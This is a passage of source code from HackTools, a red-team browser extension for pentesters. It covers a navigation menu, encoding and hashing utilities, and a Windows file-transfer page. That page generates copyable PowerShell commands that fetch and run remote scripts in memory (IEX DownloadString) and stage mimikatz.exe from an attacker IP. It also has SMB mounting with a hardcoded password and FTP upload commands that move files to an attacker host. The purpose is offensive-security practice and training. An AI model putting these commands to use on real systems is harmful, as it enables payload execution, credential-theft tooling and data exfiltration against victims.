            name: 'SQL Injection',
            componentRoute: SQLi
        },
        {
            key: '10',
            icon: <IconFont type='icon-jiemaleixing' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'Data Encoding',
            componentRoute: Base64Encode
        },
        {
            key: '11',
            icon: <IconFont type='icon-Encode-File' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'Obfuscated Files or Information',
            componentRoute: EchoBase64
        },
        {
            key: '12',
            icon: <IconFont type='icon-hash' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'Hashing',
            componentRoute: Hashing
        },
        {
            key: '13',
            icon: <IconFont type='icon-Cloud' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'Feed RSS',
            componentRoute: FeedRSS
        },
        /* {
            key: '13',
            icon: (
                <Badge dot size='default' style={{ transform: `translate(3px, 5px)` }}>
                    <IconFont type='icon-http' style={{ fontSize: '1.5em', marginTop: 3 }} />
                </Badge>
            ),
            name: 'HTTP Repeater',
            componentRoute: HTTPUtils
        }, */
        {
            key: '14',
            icon: <IconFont type='icon-shield' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'MSF Builder',
            componentRoute: MSFBuilder
        },
        {
            key: '15',
            icon: <IconFont type='icon-about' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'About us',
            componentRoute: AboutUs
        }
    ];

    const MenuItemsLists = Tabs.map( ( item ) => (
        <Menu.Item style={{ overflow: 'hidden' }} key={item.key} icon={item.icon} onClick={() => navigate( item )}>
            {item.name}
        </Menu.Item>
    ) );

    const useMenuIndex = PersistedState<string>( 'tab_index_cache' ); // Disabled for now
    const [ index, setIndex ] = useMenuIndex( '1' );

    const navigate = ( { componentRoute, key }: { componentRoute: React.FunctionComponent; key: string } ) => {
        goTo( componentRoute );
        setIndex( key );
    };

    const windowMode = () => {
        const width = 1100;
        const height = 800;

        chrome.windows.create( {
            url: chrome.runtime.getURL( 'index.html' ),
            width: width,
            height: height,
            type: 'popup'
        } );
    };

    useEffect( () => {
        const currentComponent = Tabs.filter( ( obj ) => obj.key === index )[ 0 ].componentRoute;
        goTo( currentComponent );
    }, [] );

    const target = window.location.href;

    const handleHatClick = () => {
        const notepad_route_ctx = {
            key: '1',
            name: 'Hat Clicked',
            componentRoute: Notepad
        }

        navigate( notepad_route_ctx );
    };

    return (
        <ConfigProvider
            theme={{
                "token": {
                    "wireframe": true,
                },
                algorithm: darkMode ? darkAlgorithm : defaultAlgorithm,
            }}

        >
            <Layout style={{ minHeight: '100vh' }}>
                <Sider
                    collapsed={true}
                    style={{
                        overflow: 'auto',
                        height: '100vh',
                        position: 'fixed',
                        left: 0
                    }}
                >
                    <div className='logo' onClick={handleHatClick}>
                        <svg xmlns='http://www.w3.org/2000/svg' width='45' height='35' viewBox='0 0 134.624 80.584'>
                            <g transform='translate(-6.457 -23.8)'>
                                <path
                                    d='M138.715,62.377c-9.043-1.871-15.592.78-21.673,4.989l-5.616-26.958-2.18-10.463a1.432,1.432,0,0,0-.624-.936c-.312-.156-6.86-4.21-32.431-4.21s-34.458,4.678-34.77,4.834c-.468.312-.78.624-.78,1.091L36.9,57.543c-4.678,0-19.022.624-26.039,9.2C7.119,71.264,6.651,78.125,9.3,84.829c4.054,9.979,14.033,16.839,26.506,18.087a80.594,80.594,0,0,0,8.42.468c21.985,0,40.071-8.887,52.389-16.06,1.559-.468,11.538-3.274,24.635-8.42,14.812-5.769,18.554-14.033,18.71-14.5a2.163,2.163,0,0,0,0-1.4C139.495,62.689,139.183,62.377,138.715,62.377ZM43.448,32.128c2.495-1.091,11.694-4.21,32.743-4.21,20.581,0,28.377,2.651,30.248,3.43L111.585,56.3a165.118,165.118,0,0,1-40.851,8.887C51.088,66.9,41.733,63,39.238,61.6ZM95.058,84.517c-13.409,7.8-33.991,17.931-59.094,15.436-11.382-1.247-20.27-7.328-24.012-16.216-2.183-5.613-1.871-11.382,1.091-14.968,5.925-7.328,18.554-8.108,23.232-8.108L34.249,74.694a1.367,1.367,0,0,0,.78,1.559c9.979,6.081,21.049,8.264,31.5,8.264,16.216,0,31.34-5.145,40.7-9.043A85,85,0,0,1,95.058,84.517ZM120,75.942C114.236,78.125,109.091,80,104.881,81.4c2.183-1.715,4.054-3.43,6.081-5.145,7.172-6.237,13.1-11.382,21.829-11.382a19.881,19.881,0,0,1,2.962.156C134.038,67.522,129.516,72.356,120,75.942Z'
                                    transform='translate(0 0)'
                                    fill='#F0F2F5'
                                    stroke='#F0F2F5'
                                    strokeWidth='2'
                                />
                            </g>
                        </svg>
                    </div>

                    <Menu theme='dark' defaultSelectedKeys={[ index ]} mode='inline'>
                        {MenuItemsLists}
                    </Menu>
                </Sider>
                <Layout className='site-layout' style={{ marginLeft: 80 }}>
                    <Content style={{
                        margin: '24px 16px 0',
                        overflow: 'initial',
                        minHeight: 360,
                        padding: 14,
                        borderRadius: 8,
                        background: darkMode ? '#0f0f0f' : '#fff',
                    }}>
                        {props.children}
                    </Content>
                    <Footer style={{ textAlign: 'center' }}>
                        <CopyrightCircleOutlined /> Hack Tools - The all in one Red team browser extension for web
                        pentesters
                        <Paragraph style={{ textAlign: 'center' }}>Ludovic COULON - Riadh BOUCHAHOUA</Paragraph>
                        <pre style={{ textAlign: 'center' }}>HackTools Version - 0.5.0</pre>
                        <Button icon={<FullscreenOutlined style={{ margin: 5 }} />} type='link'>
                            <a href={target} rel='noreferrer noopener' target='_blank'>
                                Fullscreen mode
                            </a>
                        </Button>
                        <Select
                            defaultValue={darkMode ? 'dark' : 'light'}
                            style={{ width: 150 }}
                            onChange={handleSwtichTheme}
                            options={[
                                {
                                    value: 'light',
                                    label: 'Light',
                                },
                                {
                                    value: 'dark',
                                    label: 'Dark',
                                },
                            ]}
                        />
                        <Button icon={<ArrowsAltOutlined style={{ margin: 5 }} />} onClick={() => windowMode()} type='link'>
                            Pop-up mode
                        </Button>
                    </Footer>
                </Layout>
            </Layout >
        </ConfigProvider >
    );
}


================================================
FILE: src/components/encoding/DataEncoding.tsx
================================================
import React, { useState } from 'react';
import { Button, Input, Typography, message, Divider, Menu, Dropdown } from 'antd';
import { CopyOutlined, createFromIconfontCN, ClearOutlined, DownOutlined } from '@ant-design/icons';
import Clipboard from 'react-clipboard.js';
import escape_quotes from 'escape-quotes';

const { Title, Paragraph } = Typography;
const IconFont = createFromIconfontCN( {
    scriptUrl: [ './iconfont.js' ]
} );

function toHex ( str: string ) {
    var result: string = '';
    for ( var i: number = 0; i < str.length; i++ ) {
        var hex: string = str.charCodeAt( i ).toString( 16 ).toUpperCase();
        if ( hex.length === 1 ) {
            hex = '0' + hex;
        }
        result += hex;
    }
    return result;
}
function hex2a ( hex: string ) {
    var str: string = '';
    for ( var i: number = 0; i < hex.length; i += 2 ) {
        var code: number = parseInt( hex.substr( i, 2 ), 16 );
        if ( !isNaN( code ) ) {
            str += String.fromCharCode( code );
        }
    }
    return str;
}

const Base64Encode = () => {
    const [ input, setInput ] = useState( '' );
    const [ output, setOutput ] = useState( '' );
    const { TextArea } = Input;
    const successBase64Copy = () => {
        message.success( 'Your payload has been copied successfully !' );
    };
    const handleChange = ( _name: string ) => ( event: { target: { value: React.SetStateAction<string> } } ) => {
        setInput( event.target.value );
    };
    const handleClick = ( type: string ) => {
        let output;
        let errorMessage;
        switch ( type ) {
            case "encode":
                switch ( encMode ) {
                    case "base64":
                        output = btoa( input );
                        break;
                    case "uri":
                        try {
                            output = encodeURI( input );
                        } catch ( error ) {
                            errorMessage = "Incorrect format, please try something else.";
                        }
                        break;
                    case "hex":
                        try {
                            output = toHex( input );
                        } catch ( error ) {
                            errorMessage = "Incorrect Hex, please try something else.";
                        }
                        break;
                }
                break;
            case "decode":
                switch ( encMode ) {
                    case "base64":
                        try {
                            output = atob( input );
                        } catch ( ex ) {
                            errorMessage = "Incorrect Base64, please try something else.";
                        }
                        break;
                    case "uri":
                        try {
                            output = decodeURI( input );
                        } catch ( ex ) {
                            errorMessage = "Incorrect URI, please try something else.";
                        }
                        break;
                    case "hex":
                        try {
                            output = hex2a( input );
                        } catch ( ex ) {
                            errorMessage = "Incorrect hexadecimal, please try something else.";
                        }
                        break;
                }
                break;
        }
        setOutput( errorMessage ? "Unable to decode properly: " + errorMessage : output );
        if ( errorMessage ) {
            message.error( errorMessage );
        }
    };
    const [ encMode, setEncmode ] = useState( 'base64' );
    const handleQuoteEscaper = () => {
        setOutput( escape_quotes( input ) );
    };

    const handleEncModeList = ( type: { key: React.SetStateAction<string | any> } ) => {
        setEncmode( type.key.toString() );
    };

    const menu = (
        <Menu onClick={handleEncModeList}>
            <Menu.Item key='base64'>Base64</Menu.Item>
            <Menu.Divider />
            <Menu.Item key='uri'>URI</Menu.Item>
            <Menu.Divider />
            <Menu.Item key='hex'>Hexadecimal</Menu.Item>
        </Menu>
    );

    return (
        <div>
            <div style={{ margin: 15 }}>
                <Title level={2} style={{ fontWeight: 'bold' }}>
                    Data Encoding
                </Title>
                <Paragraph>
                    Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.Some data encoding systems may also result in data compression, such as gzip.
                </Paragraph>
            </div>
            <Divider dashed />
            <div
                key='a'
                style={{
                    marginTop: 15,
                    marginLeft: 15
                }}
            >
                <TextArea
                    rows={4}
                    value={input}
                    onChange={handleChange( 'input' )}
                    placeholder='Some Base64 or ASCII Text to Encode / Decode / Quote escape...'
                />

                <Dropdown overlay={menu}>
                    <a className='ant-dropdown-link'>
                        {encMode} <DownOutlined style={{ padding: 10 }} />
                    </a>
                </Dropdown>

                <Button
                    type='primary'
                    style={{ marginBottom: 10, marginTop: 15 }}
                    onClick={() => handleClick( 'encode' )}
                >
                    <IconFont type='icon-lock' />
                    Encode
                </Button>
                <Button
                    type='dashed'
                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
                    onClick={() => handleClick( 'decode' )}
                >
                    <IconFont type='icon-lock-open' />
                    Decode
                </Button>
                <Button
                    type='text'
                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 8 }}
                    onClick={() => handleQuoteEscaper()}
                >
                    <IconFont type='icon-lock-open' />
                    Quote escape
                </Button>
            </div>
            <div
                key='b'
                style={{
                    marginTop: 15,
                    marginLeft: 15
                }}
            >
                <TextArea
                    rows={4}
                    value={output}
                    style={{ cursor: 'auto', marginTop: 15, color: '#777' }}
                    placeholder='The results will appear here'
                />
                <Clipboard component='a' data-clipboard-text={output}>
                    <Button type='primary' style={{ marginBottom: 10, marginTop: 15 }} onClick={successBase64Copy}>
                        <CopyOutlined /> Copy
                    </Button>
                </Clipboard>
                <Button
                    type='link'
                    danger
                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
                    onClick={() => setOutput( '' )}
                >
                    <ClearOutlined /> Clear
                </Button>
            </div>
        </div>
    );
};

export default Base64Encode;


================================================
FILE: src/components/encoding/Hashing.tsx
================================================
import React, { useState } from 'react';
import { Button, Input, Typography, Menu, Dropdown, Divider, message } from 'antd';
import { CopyOutlined, DownOutlined, ArrowsAltOutlined, createFromIconfontCN } from '@ant-design/icons';
import MD5 from 'crypto-js/md5';
import SHA1 from 'crypto-js/sha1';
import SHA256 from 'crypto-js/sha256';
import SHA512 from 'crypto-js/sha512';
//@ts-ignore
import Sm3 from 'sm3';
import Clipboard from 'react-clipboard.js';

const { Title, Paragraph, Text } = Typography;
const { TextArea } = Input;
const IconFont = createFromIconfontCN( {
    scriptUrl: [ './iconfont.js' ]
} );

const HashEncode = () => {
    const [ input, setInput ] = useState<string>( '' );
    const [ _, setHashType ] = useState( '0' );
    const [ hashname, setHashname ] = useState( 'MD5' );
    const [ output, setOutput ] = useState( '' );
    const handleClick = ( type: { key: React.SetStateAction<string | any> } ) => {
        setHashType( type.key );
        resolvehashname( type.key );
    };
    const handleEncode = ( hashtype: string ) => {
        let output: string;
        switch ( hashtype ) {
            case 'MD5':
                output = MD5( input, undefined ).toString();
                break;
            case 'SHA1':
                output = SHA1( input, undefined ).toString();
                break;
            case 'SHA256':
                output = SHA256( input, undefined ).toString();
                break;
            case 'SHA512':
                output = SHA512( input, undefined ).toString();
                break;
            case 'SM3':
                output = Sm3( input );
                break;
            default:
                // If the hashtype is not recognized, return an empty string
                output = '';
        }
        setOutput( output );
    };
    const successInfoHashing = () => {
        message.success( 'Your hash has been copied successfully !' );
    };
    const resolvehashname = ( hashindex: string ): 'Choose the Hash type' => {
        switch ( hashindex ) {
            case '0':
                setHashname( 'MD5' );
                break;
            case '1':
                setHashname( 'SHA1' );
                break;
            case '2':
                setHashname( 'SHA256' );
                break;
            case '3':
                setHashname( 'SHA512' );
                break;
            case '4':
                setHashname( 'SM3' );
                break;
        }
        return 'Choose the Hash type';
    };

    const menu = (
        <Menu onClick={handleClick}>
            <Menu.Item key='0' onClick={() => handleEncode( 'MD5' )}>
                MD5
            </Menu.Item>
            <Menu.Divider />
            <Menu.Item key='1' onClick={() => handleEncode( 'SHA1' )}>
                SHA1
            </Menu.Item>
            <Menu.Item key='2' onClick={() => handleEncode( 'SHA256' )}>
                SHA256
            </Menu.Item>
            <Menu.Item key='3' onClick={() => handleEncode( 'SHA512' )}>
                SHA512
            </Menu.Item>
            <Menu.Item key='4' onClick={() => handleEncode( 'SM3' )}>
                SM3
            </Menu.Item>
        </Menu>
    );

    const handleChange = ( _name: string ) => ( event: { target: { value: React.SetStateAction<string> } } ) => {
        setInput( event.target.value );
    };

    return (
        <div>
            <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>
                Hash generator
            </Title>
            <Paragraph style={{ margin: 15 }}>
                A hash function is any function that can be used to map data of arbitrary size to fixed-size values. The
                values returned by a hash function are called hash values, hash codes, digests, or simply hashes.
            </Paragraph>
            <Divider dashed />
            <div key='a' style={{ margin: 15 }}>
                <TextArea
                    rows={4}
                    value={input}
                    onChange={handleChange( 'input' )}
                    placeholder='Type something to hash (ex: mysecretpassword)'
                />
                <Dropdown overlay={menu}>
                    <a className='ant-dropdown-link'>
                        {hashname} <DownOutlined style={{ padding: 10 }} />
                    </a>
                </Dropdown>
                <Button
                    type='primary'
                    style={{ marginBottom: 10, marginTop: 15 }}
                    onClick={() => handleEncode( hashname )}
                >
                    <IconFont type='icon-hash' /> Get Hash
                </Button>
            </div>
            <div key='b' style={{ margin: 15 }}>
                <TextArea
                    rows={4}
                    value={output}
                    style={{ cursor: 'auto', marginTop: 15, color: '#777' }}
                    placeholder='The results will appear here'
                />
                <pre><Text>Cryptographic Hash Algorithm : {hashname}</Text></pre>
                <Clipboard component='a' data-clipboard-text={output}>
                    <Button type='primary' style={{ marginBottom: 10, marginTop: 15 }} onClick={successInfoHashing}>
                        <CopyOutlined /> Copy
                    </Button>
                </Clipboard>
                <Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 10 }}>
                    <a href='https://crackstation.net/' target='_blank' rel='noopener noreferrer'>
                        <ArrowsAltOutlined /> Crack Station
                    </a>
                </Button>
            </div>
        </div>
    );
};

export default HashEncode;


================================================
FILE: src/components/encoding/HexEncode.tsx
================================================
import React, { useState } from 'react';
import { Button, Input, Typography, message, Divider } from 'antd';
import { CopyOutlined, createFromIconfontCN, ClearOutlined } from '@ant-design/icons';
import Clipboard from 'react-clipboard.js';

const { Title, Paragraph } = Typography;
const IconFont = createFromIconfontCN( {
    scriptUrl: [ './iconfont.js' ]
} );

function toHex ( str: string ): string {
    let result = "";
    for ( const ch of str ) {
        let hex = ch.charCodeAt( 0 ).toString( 16 ).toUpperCase();
        if ( hex.length < 2 ) {
            hex = "0" + hex;
        }
        result += hex;
    }
    return result;
}

function hex2a ( hex: string ): string {
    let str = "";
    for ( let i = 0; i < hex.length; i += 2 ) {
        const hexChar = hex.substr( i, 2 );
        if ( hexChar.length < 2 ) {
            throw new Error( "invalid hexadecimal" );
        }
        const num = parseInt( hexChar, 16 );
        if ( num < 0 || num > 255 ) {
            throw new Error( "invalid hexadecimal" );
        }
        str += String.fromCharCode( num );
    }
    return str;
}

const HexEncode = () => {
    const [ input, setInput ] = useState( '' );
    const [ output, setOutput ] = useState( '' );
    const { TextArea } = Input;
    const successBase64Copy = () => {
        message.success( 'Your payload has been copied successfully !' );
    };
    const handleChange = ( _name: string ) => ( event: { target: { value: React.SetStateAction<string> } } ) => {
        setInput( event.target.value );
    };
    const handleClick = ( type: string ) => {
        if ( type === 'encode' ) {
            setOutput( toHex( input ) );
        } else if ( type === 'decode' ) {
            try {
                setOutput( hex2a( input ) );
            } catch ( ex ) {
                setOutput( 'Unable to decode properly : incorrect Hex' );
                message.error( 'Incorrect Base64 please try something else' );
            }
        }
        return;
    };
    return (
        <div>
            <div style={{ margin: 15 }}>
                <Title level={2} style={{ fontWeight: 'bold' }}>
                    Hexadecimal Encoder / Decoder
                </Title>
                <Paragraph>
                    The hexadecimal numeral system, often shortened to "hex", is a numeral system made up of 16 symbols
                    (base 16). The standard numeral system is called decimal (base 10) and uses ten symbols:
                    0,1,2,3,4,5,6,7,8,9. Hexadecimal uses the decimal numbers and six extra symbols.
                </Paragraph>
            </div>
            <Divider dashed />
            <div
                key='a'
                style={{
                    marginTop: 15,
                    marginLeft: 15
                }}
            >
                <TextArea
                    rows={4}
                    value={input}
                    onChange={handleChange( 'input' )}
                    placeholder='ASCII or Hexadecimal value to Encode / Decode...'
                />
                <Button
                    type='primary'
                    style={{ marginBottom: 10, marginTop: 15 }}
                    onClick={() => handleClick( 'encode' )}
                >
                    <IconFont type='icon-lock' />
                    Encode
                </Button>
                <Button
                    type='dashed'
                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
                    onClick={() => handleClick( 'decode' )}
                >
                    <IconFont type='icon-lock-open' />
                    Decode
                </Button>
            </div>
            <div
                key='b'
                style={{
                    marginTop: 15,
                    marginLeft: 15
                }}
            >
                <TextArea
                    rows={4}
                    value={output}
                    style={{ cursor: 'auto', marginTop: 15, color: '#777' }}
                    placeholder='The results will appear here'
                />
                <Clipboard component='a' data-clipboard-text={output}>
                    <Button type='primary' style={{ marginBottom: 10, marginTop: 15 }} onClick={successBase64Copy}>
                        <CopyOutlined /> Copy
                    </Button>
                </Clipboard>
                <Button
                    type='link'
                    danger
                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
                    onClick={() => setOutput( '' )}
                >
                    <ClearOutlined /> Clear
                </Button>
            </div>
        </div>
    );
};

export default HexEncode;


================================================
FILE: src/components/encoding/URLEncode.tsx
================================================
import React, { useState } from 'react';
import { Button, Input, Typography, message, Divider } from 'antd';
import { CopyOutlined, createFromIconfontCN, ClearOutlined } from '@ant-design/icons';
import Clipboard from 'react-clipboard.js';
import { escape, unescape } from 'querystring';

const { Title, Paragraph } = Typography;
const IconFont = createFromIconfontCN( {
    scriptUrl: [ './iconfont.js' ]
} );

const Base64Encode = () => {
    const [ input, setInput ] = useState( '' );
    const [ output, setOutput ] = useState( '' );
    const { TextArea } = Input;
    const successPayload = () => {
        message.success( 'Your URL has been copied successfully !' );
    };
    const handleChange = ( _name: string ) => ( event: { target: { value: React.SetStateAction<string> } } ) => {
        setInput( event.target.value );
    };
    const handleClick = ( type: string ) => {
        if ( type === 'encode' ) {
            setOutput( escape( input ) );
        } else if ( type === 'decode' ) {
            try {
                setOutput( unescape( input ) );
            } catch ( ex ) {
                setOutput( 'Unable to decode properly : Incorrect base64 :-( ' );
                message.error( 'Incorrect Base64 please try something else' );
            }
        }
        return;
    };
    return (
        <div>
            <div style={{ margin: 15 }}>
                <Title level={2} style={{ fontWeight: 'bold' }}>
                    URL Encoder / Decoder
                </Title>
                <Paragraph>
                    URL encoding is the practice of translating unprintable characters or characters with special
                    meaning within URLs to a representation that is unambiguous and universally accepted by web browsers
                    and servers.
                </Paragraph>
            </div>
            <Divider dashed />
            <div
                key='a'
                style={{
                    marginTop: 15,
                    marginLeft: 15
                }}
            >
                <TextArea
                    rows={4}
                    value={input}
                    onChange={handleChange( 'input' )}
                    placeholder='Some Base64 or ASCII Text to Encode / Decode...'
                />
                <Button
                    type='primary'
                    style={{ marginBottom: 10, marginTop: 15 }}
                    onClick={() => handleClick( 'encode' )}
                >
                    <IconFont type='icon-lock' />
                    Encode
                </Button>
                <Button
                    type='dashed'
                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
                    onClick={() => handleClick( 'decode' )}
                >
                    <IconFont type='icon-lock-open' />
                    Decode
                </Button>
            </div>
            <div
                key='b'
                style={{
                    marginTop: 15,
                    marginLeft: 15
                }}
            >
                <TextArea
                    rows={4}
                    value={output}
                    style={{ cursor: 'auto', marginTop: 15, color: '#777' }}
                    placeholder='The results will appear here'
                />
                <Clipboard component='a' data-clipboard-text={output}>
                    <Button type='primary' style={{ marginBottom: 10, marginTop: 15 }} onClick={successPayload}>
                        <CopyOutlined /> Copy
                    </Button>
                </Clipboard>
                <Button
                    type='link'
                    danger
                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
                    onClick={() => setOutput( '' )}
                >
                    <ClearOutlined /> Clear
                </Button>
            </div>
        </div>
    );
};

export default Base64Encode;


================================================
FILE: src/components/file_transfer/File_transfer.tsx
================================================
import React from 'react';
import PersistedState from 'use-persisted-state';
import { Typography, Row, Col, Divider, Input, Space } from 'antd';
import { WifiOutlined, createFromIconfontCN, FolderOutlined, FileDoneOutlined } from '@ant-design/icons';
import { Ipv4TcpCacheState } from "components/types/Ipv4TcpCacheState";
import Link from 'antd/es/typography/Link';


const { Title, Paragraph, Text } = Typography;
const IconFont = createFromIconfontCN( {
    scriptUrl: [ './iconfont.js' ]
} );

export default function FileTransfer () {
    const useIPv4State = PersistedState<Ipv4TcpCacheState>( 'ipv4_tcp_cache' );

    const [ values, setValues ] = useIPv4State( {
        ip: '',
        port: '',
        target_file_name: 'http://10.0.0.1/mimikatz.exe',
        output_file_name: 'mimikatz.exe',
    } );

    const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {
        setValues( { ...values, [ name ]: event.target.value } );
    };

    const fileDownload = `(New-Object Net.WebClient).DownloadFile('${ values.target_file_name }','${ values.output_file_name }')`
    const fileDownloadAsync = `(New-Object Net.WebClient).DownloadFileAsync('${ values.target_file_name }','${ values.output_file_name }')`
    const fileLessIEX = `IEX (New-Object Net.WebClient).DownloadString('${ values.target_file_name }')`
    const fileLessIEXPipe = `(New-Object Net.WebClient).DownloadString('${ values.target_file_name }') | IEX`
    const iwr = `iwr -Uri '${ values.target_file_name }' -OutFile '${ values.output_file_name }'`
    const InvokeWebRequest = `Invoke-WebRequest -Uri '${ values.target_file_name }' -OutFile '${ values.output_file_name }'`
    const copyFromSmb = `copy \\\\${ values.ip }\\${ values.output_file_name }`
    const mountShareWithPasswords = `net use z: \\\\${ values.ip }\\share /user:johnDoe Sup3rP@ssw0rd!`
    const DownloadFromFTP = `(New-Object System.Net.WebClient).DownloadFile('ftp://${ values.ip }/${ values.output_file_name }','${ values.output_file_name }')`
    const scriptFTP = `echo open ${ values.ip } ${ values.port } > ftp.txt
echo USER anonymous >> ftp.txt
echo GET ${ values.output_file_name } >> ftp.txt
echo BYE >> ftp.txt
ftp -v -s:ftp.txt`
    const powershellFTPUpload = `(New-Object System.Net.WebClient).UploadFile('ftp://${ values.ip }/${ values.output_file_name }','C:\\Users\\Public\\${ values.output_file_name }')`
    const scriptUploadFTP = `echo open ${ values.ip } ${ values.port } > ftp.txt
echo USER anonymous >> ftp.txt
echo binary >> ftp.txt
echo PUT ${ values.output_file_name } >> ftp.txt
echo BYE >> ftp.txt
ftp -v -s:ftp.txt`

    return (
        <div>
            <div>
                <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>
                    Windows File Transfer Methods
                </Title>
                <Paragraph style={{ margin: 15 }}>
                    Over the past few years, the Windows operating system has evolved and new versions come with different utilities for file transfer operations. Understanding file transfer in Windows can be helpful to both attackers and defenders alike. Attackers can use various file transfer methods to operate and avoid being caught.
                </Paragraph>
                <div style={{ padding: 15 }}>
                    <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>
                        <Col span={12}>
                            <Input
                                maxLength={15}
                                prefix={<WifiOutlined />}
                                name='Ip adress'
                                placeholder='IP Address or domain (ex: 212.212.111.222)'
                                onChange={handleChange( 'ip' )}
                                value={values.ip}
                            />
                        </Col>
                        <Col span={12}>
                            <Input
                                maxLength={5}
                                prefix={<IconFont type='icon-Network-Plug' />}
                                name='Port'
                                placeholder='Port (ex: 1337)'
                                onChange={handleChange( 'port' )}
                                value={values.port}
                            />
                        </Col>
                    </Row>
                    <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }} style={{ marginTop: 15 }}>
                        <Col span={12}>
                            <Input
                                prefix={<FolderOutlined />}
                                name='File name'
                                placeholder='URL (ex: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1)'
                                onChange={handleChange( 'target_file_name' )}
                                value={values.target_file_name}
                            />

                        </Col>
                        <Col span={12}>
                            <Input
                                prefix={<FileDoneOutlined />}
                                name='File name'
                                placeholder='Output file (ex: PowerView.ps1)'
                                onChange={handleChange( 'output_file_name' )}
                                value={values.output_file_name}
                            />
                        </Col>
                    </Row>
                </div>
            </div>
            <Divider dashed />
            <div style={{ padding: 10, marginTop: 15 }} key='a'>
                <Space direction='vertical'>
                    <Title level={3}>
                        PowerShell Download File Method
                    </Title>
                    <Text>
                        We can specify the class name <Text keyboard>Net.WebClient</Text> and the method <Text keyboard>DownloadFile</Text> with the parameters corresponding to the URL of the target file to download and the output file name.
                    </Text>
                    <Title level={4}>File Download</Title>
                    <Text>
                        <pre>
                            <Text copyable>
                                {fileDownload}
                            </Text>
                        </pre>
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                {fileDownloadAsync}
                            </Text>
                        </pre>
                    </Text>
                </Space>
            </div>
            <Divider dashed />
            <div style={{ padding: 10, marginTop: 15 }} key='a'>
                <Space direction='vertical'>
                    <Title level={3}>
                        PowerShell DownloadString - Fileless Method
                    </Title>
                    <Text>
                        Fileless attacks work by using some operating system functions to download and execute the payloads. PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the <Text keyboard>Invoke-Expression</Text> command or the alias <Text keyboard>IEX</Text>
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                {fileLessIEX}
                            </Text>
                        </pre>
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                {fileLessIEXPipe}
                            </Text>
                        </pre>
                    </Text>
                    <Title level={4}>PowerShell Invoke-WebRequest</Title>
                    <Text>
                        From PowerShell 3.0 onwards, the <Text keyboard>Invoke-WebRequest</Text> cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases <Text keyboard>iwr</Text>, <Text keyboard>curl</Text>, and <Text keyboard>wget</Text> instead of the <Text keyboard>Invoke-WebRequest</Text> full name.
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                {InvokeWebRequest}
                            </Text>
                        </pre>
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                {iwr}
                            </Text>
                        </pre>
                    </Text>
                </Space>
            </div>
            <Divider dashed />
            <div style={{ padding: 15, marginTop: 15 }}>
                <Space direction='vertical'>
                    <Title level={3}>
                        SMB Downloads
                    </Title>
                    <Text>
                        The SMB protocol that runs on port <Text strong>TCP/445</Text> is most commonly found in enterprise networks where Windows services are running. It allows applications and users to transfer files between and between remote servers.
                    </Text>
                    <Text>
                        We can use SMB to download files from our attacker machine easily. We need to create an SMB server in our machine with <Link href='https://github.com/fortra/impacket/blob/master/examples/smbserver.py' target="_blank">smbserver.py</Link> from Impacket and then use <Text keyboard>copy</Text>, <Text keyboard>move</Text>, PowerShell <Text keyboard>Copy-Item</Text>, or any other tool that allows connection to SMB.
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                sudo impacket-smbserver share -smb2support /tmp/smb_share
                            </Text>
                        </pre>
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                {copyFromSmb}
                            </Text>
                        </pre>
                    </Text>
                    <Text italic>New versions of Windows block unauthenticated guest access!</Text>
                    <Text italic>To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine:</Text>
                    <Text>
                        <pre>
                            <Text copyable editable>
                                sudo impacket-smbserver share -smb2support /tmp/smbshare -user johnDoe -password Sup3rP@ssw0rd!
                            </Text>
                        </pre>
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                {mountShareWithPasswords}
                            </Text>
                        </pre>
                    </Text>
                </Space>
            </div>
            <Divider dashed />
            <div style={{ padding: 15, marginTop: 15 }}>
                <Space direction='vertical'>
                    <Title level={3}>
                        FTP Downloads
                    </Title>
                    <Text>
                        Another way to transfer files is using FTP (File Transfer Protocol), which use port TCP/21 and TCP/20. We can use the FTP client or PowerShell Net.WebClient to download files from an FTP server.
                    </Text>
                    <Text>
                        We can configure an FTP Server in our attack host using Python3 pyftpdlib module. It can be installed with the following command:
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                sudo pip3 install pyftpdlib
                            </Text>
                        </pre>
                        <Text italic underline>By default, pyftpdlib uses port 2121. We can change it with the -p / --port option!</Text>
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                sudo python3 -m pyftpdlib --port 21
                            </Text>
                        </pre>
                    </Text>
                    <Title level={4}>Transfering Files from an FTP Server Using PowerShell</Title>
                    <Text>
                        <pre>
                            <Text copyable editable>
                                {DownloadFromFTP}
                            </Text>
                        </pre>
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                {scriptFTP}
                            </Text>
                        </pre>
